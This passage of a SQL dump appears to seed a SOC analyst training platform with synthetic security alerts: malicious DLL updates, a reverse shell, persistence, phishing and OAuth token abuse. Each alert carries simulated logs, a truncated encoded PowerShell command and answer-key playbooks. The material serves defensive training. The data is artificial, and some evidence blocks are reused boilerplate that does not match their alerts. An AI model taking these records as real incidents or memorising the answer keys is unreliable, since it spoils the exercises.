4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T12:34:56Z\\\",\\\"event_id\\\":\\\"update_12345\\\",\\\"update_source\\\":\\\"server_mgmt_software\\\",\\\"update_version\\\":\\\"v3.2.1\\\",\\\"affected_component\\\":\\\"lib_mgmt.dll\\\",\\\"malicious_hash\\\":\\\"e5d8870e5bdd26602c622b7e5b0f6b4c\\\",\\\"signed_cert\\\":\\\"CN=ServerMgmt, O=TrustedSoftware Inc.\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"admin_user\\\",\\\"filename\\\":\\\"lib_mgmt.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(279, 'Execution of Malicious Code', 'high', 'Endpoint Detection and Response (EDR)', 'Once the update is installed, the malicious DLL executes its payload, allowing the attacker to establish an initial presence within the network.', 'Execution', 'T1203: Exploitation for Client Execution', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-05T14:23:47Z\",\"event_id\":\"EDR-EXEC-20231005-143\",\"hostname\":\"compromised-host-01\",\"user\":\"jdoe\",\"process_name\":\"rundll32.exe\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\malicious.dll\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"action\":\"Execute\",\"outcome\":\"Success\",\"additional_info\":\"The DLL was executed remotely via rundll32.exe, establishing a reverse shell.\"}', '2025-12-31 13:45:44', '2026-02-18 07:34:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by multiple engines as a trojan.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Local Database\",\"verdict\":\"malicious\",\"details\":\"File associated with recent compromise attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User is a legitimate employee.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(280, 'Establish Persistence', 'high', 'Intrusion Detection System (IDS)', 'An advanced persistent threat actor has set up a backdoor to maintain access to compromised systems by creating a persistent service. This allows for continued unauthorized access even if initial malware is removed.', 'Persistence', 'T1547.001', 1, 'Closed', 169, '{\"timestamp\":\"2023-09-14T02:45:12Z\",\"event_id\":\"12345678\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user\":\"admin_user\",\"action\":\"establish_persistence\",\"persistence_type\":\"service_creation\",\"service_name\":\"UpdateService\",\"service_exe\":\"C:\\\\Windows\\\\System32\\\\updater.exe\",\"file_hash\":\"abc123def4567890abc123def4567890\",\"status\":\"success\"}', '2025-12-31 13:45:44', '2026-02-18 07:34:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with multiple APT groups.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by the attacker.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"abc123def4567890abc123def4567890\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware samples.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account used for unauthorized service creation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.885Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-14T02:45:12Z\\\",\\\"event_id\\\":\\\"12345678\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action\\\":\\\"establish_persistence\\\",\\\"persistence_type\\\":\\\"service_creation\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_exe\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"abc123def4567890abc123def4567890\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.885Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-14T02:45:12Z\\\",\\\"event_id\\\":\\\"12345678\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action\\\":\\\"establish_persistence\\\",\\\"persistence_type\\\":\\\"service_creation\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_exe\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"abc123def4567890abc123def4567890\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.885Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-14T02:45:12Z\\\",\\\"event_id\\\":\\\"12345678\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action\\\":\\\"establish_persistence\\\",\\\"persistence_type\\\":\\\"service_creation\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_exe\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"abc123def4567890abc123def4567890\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.885Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-14T02:45:12Z\\\",\\\"event_id\\\":\\\"12345678\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action\\\":\\\"establish_persistence\\\",\\\"persistence_type\\\":\\\"service_creation\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_exe\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"abc123def4567890abc123def4567890\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.885Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-14T02:45:12Z\\\",\\\"event_id\\\":\\\"12345678\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action\\\":\\\"establish_persistence\\\",\\\"persistence_type\\\":\\\"service_creation\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_exe\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\updater.exe\\\",\\\"file_hash\\\":\\\"abc123def4567890abc123def4567890\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(281, 'Lateral Movement and Data Exfiltration', 'high', 'Network Traffic Analysis', 'Detected lateral movement activities with potential data exfiltration attempts. Anomalous network traffic indicates movement from compromised host to sensitive data repositories.', 'Lateral Movement', 'T1021 - Remote Services', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"1002\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"10.0.0.55\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"file_accessed\":\"confidential_data.xlsx\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_type\":\"network_traffic\",\"action\":\"exfiltration_attempt\"}', '2025-12-31 13:45:44', '2026-02-18 07:36:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Compromised internal host used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Targeted internal server storing sensitive data.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"External Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Confirmed malicious IP associated with known threat actor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file accessed during suspicious network activity.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"clean\",\"details\":\"File hash matches known clean version.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Activity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(282, 'Malware Detected via Suspicious Process Execution', 'high', 'CrowdStrike', 'A suspicious process \'malicious.exe\' was executed on the host \'DESKTOP-1234\'. The file hash is associated with known malware.', 'Malware', 'T1059', 1, 'Closed', 185, '{\"timestamp\":\"2023-10-15T14:32:21Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.50\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1234\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"malicious.exe\"}', '2025-12-31 14:09:48', '2026-02-20 09:07:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address belonging to the organization\'s network.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash is identified as a part of a known malware family.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process execution behavior is indicative of malware.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process \'malicious.exe\' is executed from an internal machine and is linked to a known malware hash. Immediate isolation and further investigation are necessary.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(283, 'Suspicious Network Connection from External IP Detected', 'high', 'Firewall', 'A network connection from an external IP was detected attempting to access an internal server. The connection was flagged due to a high number of failed login attempts.', 'Brute Force', 'T1110', 1, 'Closed', 93, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"internal-server-01\",\"failed_attempts\":35}', '2026-01-01 01:58:11', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address belonging to the organization\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Common administrative account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has been involved in multiple brute force attacks, indicating malicious intent.\"}', 'Intermediate', 'SIEM', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(284, 'Malware Detected via Suspicious Process Execution', 'critical', 'CrowdStrike', 'A suspicious process execution was detected on a host, linked to known malware activity. The process attempted to connect to a known malicious Command and Control server.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T16:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.23\",\"dst_ip\":\"198.51.100.17\",\"hostname\":\"workstation-07\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"malicious.exe\"}', '2025-12-31 20:54:16', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.17\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP linked to Command and Control servers\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected workstation\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process execution and connection to a known C2 server confirm malware infection.\"}', 'Advanced', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(285, 'Spear-Phishing Email Campaign Detected', 'high', 'Email Gateway', 'APT28 initiates their campaign by sending carefully crafted spear-phishing emails to key personnel within political organizations, aiming to harvest credentials and gain a foothold in the network.', 'Phishing', 'T1566.002', 1, 'Closed', NULL, '{\"timestamp\":\"2023-10-15T08:47:23Z\",\"source_ip\":\"185.92.220.34\",\"destination_ip\":\"10.0.2.15\",\"email_subject\":\"Urgent: Review Attached Document\",\"sender_email\":\"john.doe@fakeorg.com\",\"recipient_email\":\"alice.smith@politicalorg.org\",\"attachment_filename\":\"Urgent_Document.pdf\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"malicious_link\":\"http://malicious-link.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\"}', '2025-12-31 15:17:10', '2026-02-18 07:40:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Reported for phishing activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"john.doe@fakeorg.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"malicious\",\"details\":\"Known phishing sender.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with phishing documents.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLhaus\",\"verdict\":\"malicious\",\"details\":\"Hosting phishing page.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear-Phishing Email Campaign Detected\",\"date\":\"2026-02-01T20:32:18.890Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(286, 'Malicious Domain Infrastructure Identified', 'high', 'Firewall', 'APT28 has set up a credential harvesting operation using domains that mimic legitimate login portals. User traffic is being redirected to these domains following a successful phishing campaign. The captured credentials will allow the adversary to escalate their access within the network.', 'Credential Harvesting', 'T1566.002', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"firewall_id\":\"FW123456\",\"src_ip\":\"10.14.22.5\",\"dst_ip\":\"203.0.113.45\",\"src_port\":\"443\",\"dst_port\":\"80\",\"action\":\"allow\",\"domain\":\"login-secure-portal.com\",\"url\":\"http://login-secure-portal.com/login\",\"user\":\"jdoe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file\":\"login_page.html\"}', '2025-12-31 15:17:10', '2026-02-18 07:41:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing activities.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"login-secure-portal.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Analysis Service\",\"verdict\":\"malicious\",\"details\":\"Domain registered recently and flagged for phishing.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://login-secure-portal.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"URL is hosting a phishing login page.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Reputation Database\",\"verdict\":\"suspicious\",\"details\":\"Hash matches known phishing page template.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(287, 'OAuth Token Abuse Technique Detected', 'high', 'EDR', 'APT28 uses OAuth token abuse to maintain access to compromised accounts, which enables them to exfiltrate sensitive data without needing user passwords.', 'Persistence', 'T1550.001', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-12T08:45:32Z\",\"event_id\":\"evt12345\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"username\":\"j.doe@company.com\",\"oauth_token\":\"ya29.GlsBv...Xw3Fw\",\"action\":\"token_use\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"sensitive_data.docx\",\"user_agent\":\"Mozilla/5.0\",\"event_description\":\"OAuth token used for accessing cloud storage\"}', '2025-12-31 15:17:10', '2026-02-18 07:42:36', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feed\",\"verdict\":\"malicious\",\"details\":\"Known APT28 IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_db\",\"verdict\":\"internal\",\"details\":\"Employee email address\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file hash with potential data exfiltration\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
